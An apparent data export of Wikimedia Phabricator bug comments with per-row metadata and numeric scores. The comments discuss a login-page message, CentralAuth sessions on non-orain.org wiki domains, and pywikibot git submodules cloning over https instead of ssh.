Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1490",,,1386625833,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
267587,Accessing Special:UserLogin while logged in should have different appearance,"(In reply to comment #1)
> For core: Since the fix for bug 53306 a message exists, which say: ""You are
> already logged in as ***. Use the form below to log in as another user.""

So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).

(In reply to comment #0)
> create account should
> say ""log out""

Surely not, it's not what it does. ""Create another account"", the current label, is correct.",,,1386625379,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,15.0,0.0,1.0,7.0,0.0,0.0,0.0,3.0,4.0,0.0,3.0,0.0,3.0,10.0,3.0,1.0,3.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,3.136986301369863,0.6301369863013698,"(In reply to comment #1)
QUOTE
QUOTE

So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).

(In reply to comment #0)
QUOTE
QUOTE

Surely not, it's not what it does. ""Create another account"", the current label, is correct."
267580,Accessing Special:UserLogin while logged in should have different appearance,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user.""",,,1384640418,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,18.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.051282051282051,0.7948717948717948,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user."""
57978,Sessions don't work on non-loginwiki domains,"**Author:** `kudu`

**Description:**
Log showing incorrect behavior for a non-*.orain.org wiki

Demo:
1. Log in on any wiki on orain.org (e.g. meta.orain.org).
2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).

I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.

Here is the original GitHub issue: https://github.com/Orain/ansible-playbook/issues/61
Here is our configuration (WIP): https://github.com/Orain/ansible-playbook/blob/master/roles/mediawiki/files/LocalSettings.php.j2
We're running CentralAuth 1.22wmf22 (3756064).

--------------------------
**Version**: master
**Severity**: major

**Attached**: {F12201}",Medium,50.0,1382392320,1382563800.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_description,invalid,True,c2,3,False,False,True,7,True,1.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,2.5,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,13.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,2.0,4.0,6.5,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,2.0,3.860294117647059,0.6176470588235294,"**Author:** CODE

**Description:**
Log showing incorrect behavior for a non-*.orain.org wiki

Demo:
1. Log in on any wiki on orain.org (e.g. meta.orain.org).
2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).

I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.

Here is the original GitHub issue: URL
Here is our configuration (WIP): URL
We're running CentralAuth 1.22wmf22 (3756064).

--------------------------
**Version**: master
**Severity**: major

**Attached**: {F12201}"
264895,Sessions don't work on non-loginwiki domains,"So after a fair amount of detective work..
A CA token needs to be set for each domain on login (as with the wikimedia sites.)

Hence this fixed our problems https://github.com/Orain/ansible-playbook/commit/9e6336b059f42560e28104b6e04108007a3f86a5
(later altered to be a more dynamic fix for the future)

Previous to this a login on espiral would create a CA token for the orain.org domain.
espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral.",,,1382563800,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,8,True,0.5,0.0,0.0,0.5,2.0,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,10.5,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,3.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,5.5,1.0,2.0,11.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.5,10.5,3.0,0.0,0.0,0.0,2.5,0.0,1.0,4.0,0.0,0.0,0.5,0.0,2.0,3.7454545454545456,0.7090909090909091,"So after a fair amount of detective work..
A CA token needs to be set for each domain on login (as with the wikimedia sites.)

Hence this fixed our problems URL
(later altered to be a more dynamic fix for the future)

Previous to this a login on espiral would create a CA token for the orain.org domain.
espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral."
264889,Sessions don't work on non-loginwiki domains,"http://espiral.org is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.

What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.

But then I have the same problems than the rest when logging to http://wikiconstituciocatalana.cat - which is double weird.

fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems...",,,1382461178,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,7,True,0.5,0.0,0.0,1.5,0.5,6.5,3.5,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,3.5,0.0,6.5,12.0,0.0,0.5,0.0,0.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,7.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,6.0,5.5,10.5,2.5,2.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,5.0,12.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,2.5,0.0,3.5,0.0,0.0,1.5,4.075949367088608,0.7784810126582278,"URL is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.

What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.

But then I have the same problems than the rest when logging to URL - which is double weird.

fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems..."
264884,Sessions don't work on non-loginwiki domains,"**kudu** wrote:

Log showing expected behavior on an *.orain.org wiki

**Attached**: {F12203}",,,1382392452,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.6296296296296297,"**kudu** wrote:

Log showing expected behavior on an *.orain.org wiki

**Attached**: {F12203}"
57654,Recursive clone over ssh uses https for submodules,"```lang=bash
<~/pywikibot>git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
Warning: Permanently added the RSA host key for IP address '[208.80.154.81]:29418' to the list of known hosts.
Enter passphrase for key 'key':
remote: Counting objects: 10842, done
remote: Finding sources: 100% (10842/10842)
remote: Getting sizes: 100% (1495/1495)
remote: Compressing objects: 100% (2292733/2292733)
remote: Total 10842 (delta 7190), reused 10548 (delta 7165)
Receiving objects: 100% (10842/10842), 23.42 MiB | 326 KiB/s, done.
Resolving deltas: 100% (7337/7337), done.
Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
error: SSL certificate problem: self signed certificate in certificate chain while accessing https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git/info/refs?service=git-upload-pack
fatal: HTTP request failed
Clone of 'https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git' into submodule path 'externals/httplib2' failed
```
I'm cloning over ssh. Why are the submodules being loaded over https?

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Medium,50.0,1381579260,1596795972.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_description,declined,True,c2,3,False,False,False,6,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.45,0.65,"``CODE``
I'm cloning over ssh. Why are the submodules being loaded over https?

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
1506759,Recursive clone over ssh uses https for submodules,"Nothing stalled in this task as questoin has been answered, hence setting status to open",,,1589885026,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,350,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.625,1.0,"Nothing stalled in this task as questoin has been answered, hence setting status to open"
1068377,Recursive clone over ssh uses https for submodules,"The solution is doing relative submodule paths (eg: `../foo`). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).

(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)

Tbh though, HTTPS > SSH anyway :)",,,1526375438,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,245,True,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,2.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,2.0,3.4390243902439024,0.7317073170731707,"The solution is doing relative submodule paths (eg: CODE). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).

(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)

Tbh though, HTTPS > SSH anyway :)"
1066744,Recursive clone over ssh uses https for submodules,"That is expected as you carnt use ssh in there since only you would be able to clone it.

",,,1526031973,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,245,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,19.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,19.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.9523809523809523,"That is expected as you carnt use ssh in there since only you would be able to clone it.

"
1066702,Recursive clone over ssh uses https for submodules,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 

:~/pywikibot$ cat .gitmodules 
[submodule ""i18n""]
	path = scripts/i18n
	url = https://gerrit.wikimedia.org/r/pywikibot/i18n
	branch = master
	ignore = all

So yes, still an issue",,,1526027634,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,245,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.9787234042553195,0.8085106382978723,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 

:~/pywikibot$ cat .gitmodules 
[submodule ""i18n""]
	path = scripts/i18n
	url = URL
	branch = master
	ignore = all

So yes, still an issue"
1066672,Recursive clone over ssh uses https for submodules,"Is this still valid with pwb3? I haven't this problem:


```lang=batch
git.exe clone --progress --recursive -v ""ssh://xqt@gerrit.wikimedia.org:29418/pywikibot/core"" ""C:\pwb\git\core-test""

Cloning into 'C:\pwb\git\core-test'...
remote: Counting objects: 870, done
remote: Finding sources: 100% (96/96)
Receiving objects: 100% (46206/46206), 27.12 MiB | 237.00 KiB/s, done.
Resolving deltas: 100% (35848/35848), done.
remote: Getting sizes: 100% (51/51)
remote: Compressing objects: 100% (463858/463858)
remote: Total 46206 (delta 46), reused 46153 (delta 19)
Checking connectivity... done.
Submodule 'i18n' (https://gerrit.wikimedia.org/r/pywikibot/i18n) registered for path 'scripts/i18n'
Cloning into 'scripts/i18n'...
Submodule path 'scripts/i18n': checked out '5a4de72f67c4f13f290be2484b16c5e3f9a31c49'

Success (216061 ms @ 11.05.2018 07:48:45)
```",,,1526018161,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,245,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9473684210526314,0.7894736842105263,"Is this still valid with pwb3? I haven't this problem:


``CODE``"
500711,Recursive clone over ssh uses https for submodules,">>! In T57654#1343308, @jayvdb wrote:
> After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.

I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository.",,,1438435837,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,100,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,10.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,10.0,3.0,7.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,10.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,4.172413793103448,0.7068965517241379,"QUOTE
QUOTE

I tried this with scripts/i18n, and fnfortunately TortoiseSVN doesnt appear to handle the external switching to be a normal directory in the repository.  it complains there is a conflict, and then doesnt update scripts/i18n to use the files now located in the repository."
470272,Recursive clone over ssh uses https for submodules,"After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.",,,1433597372,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,5.0,2.0,0.0,5.0,3.926829268292683,0.8780487804878049,"After doing a bit more reading, I am pretty confident that [[URL git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts."
469615,Recursive clone over ssh uses https for submodules,"Im not sure, but this might be solvable with git subtree instead of git submodule.",,,1433472380,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9444444444444444,"Im not sure, but this might be solvable with git subtree instead of git submodule."
271561,Recursive clone over ssh uses https for submodules,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.

The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.

$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
remote: Counting objects: 2792, done
remote: Finding sources: 100% (2373/2373)
remote: Getting sizes: 100% (710/710)
remote: Compressing objects: 100% (5777484/5777484)
remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
Resolving deltas: 100% (11100/11100), done.
Checking connectivity... done.
Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
remote: Counting objects: 1035, done
remote: Finding sources: 100% (202/202)
remote: Getting sizes: 100% (29/29)
remote: Compressing objects: 100% (306895/306895)
remote: Total 1902 (delta 34), reused 1887 (delta 32)
Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
Resolving deltas: 100% (946/946), done.
Checking connectivity... done.
Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
Cloning into 'scripts/i18n'...
remote: Counting objects: 192, done
remote: Finding sources: 100% (171/171)
remote: Getting sizes: 100% (52/52)
remote: Compressing objects: 100% (1291342/1291342)
remote: Total 2802 (delta 113), reused 2759 (delta 110)
Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
Resolving deltas: 100% (2216/2216), done.
Checking connectivity... done.
Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'",,,1406247361,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,True,,,47,True,0.0,0.2,0.0,0.2,0.0,1.4,0.0,0.0,0.0,0.0,0.6,4.4,0.0,0.2,0.0,0.6,0.6,1.2,3.2,0.2,0.2,0.0,0.6,0.4,1.4,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.8,0.2,1.8,0.0,0.2,0.2,1.0,0.6,0.0,0.0,0.2,0.8,0.0,0.0,0.0,0.0,0.0,21.0,0.2,0.4,0.2,0.0,0.0,0.4,0.0,0.6,0.0,0.0,0.0,0.6,0.0,0.2,0.0,0.0,0.0,1.2,0.4,9.2,0.6,0.6,2.0,0.0,0.0,0.0,0.0,0.4,0.0,9.8,0.0,0.8,3.2,5.2,0.0,4.8,0.0,0.8,0.0,0.2,0.2,0.2,2.8,0.2,0.0,0.0,3.8776481354381147,0.5253260123541523,"While it cloned the submodules over https, the clone recursive worked for me, so I have updated the bug summary to reflect this.

The ""error: SSL certificate problem: self signed certificate in certificate chain while accessing ..."" doesnt appear in my output, so something has radically changed since October 2013, which is probably masking this bug.  Either the certificate has been changed, or this problem only existed in an earlier git version.

$ git clone --recursive ssh://jayvdb@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
remote: Counting objects: 2792, done
remote: Finding sources: 100% (2373/2373)
remote: Getting sizes: 100% (710/710)
remote: Compressing objects: 100% (5777484/5777484)
remote: Total 16923 (delta 1184), reused 16381 (delta 1136)
Receiving objects: 100% (16923/16923), 27.47 MiB | 1.12 MiB/s, done.
Resolving deltas: 100% (11100/11100), done.
Checking connectivity... done.
Submodule 'externals/httplib2' (URL registered for path 'externals/httplib2'
Submodule 'i18n' (URL registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
remote: Counting objects: 1035, done
remote: Finding sources: 100% (202/202)
remote: Getting sizes: 100% (29/29)
remote: Compressing objects: 100% (306895/306895)
remote: Total 1902 (delta 34), reused 1887 (delta 32)
Receiving objects: 100% (1902/1902), 3.88 MiB | 233.00 KiB/s, done.
Resolving deltas: 100% (946/946), done.
Checking connectivity... done.
Submodule path 'externals/httplib2': checked out '5dc145682eb726bd54eaf7e9f940844ca234db71'
Cloning into 'scripts/i18n'...
remote: Counting objects: 192, done
remote: Finding sources: 100% (171/171)
remote: Getting sizes: 100% (52/52)
remote: Compressing objects: 100% (1291342/1291342)
remote: Total 2802 (delta 113), reused 2759 (delta 110)
Receiving objects: 100% (2802/2802), 12.82 MiB | 664.00 KiB/s, done.
Resolving deltas: 100% (2216/2216), done.
Checking connectivity... done.
Submodule path 'scripts/i18n': checked out 'ab431d98501bc229c933ee931ce0d7f2c1e2d46c'"
271554,Recursive clone over ssh uses https for submodules,"Basically, there are two options:
1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
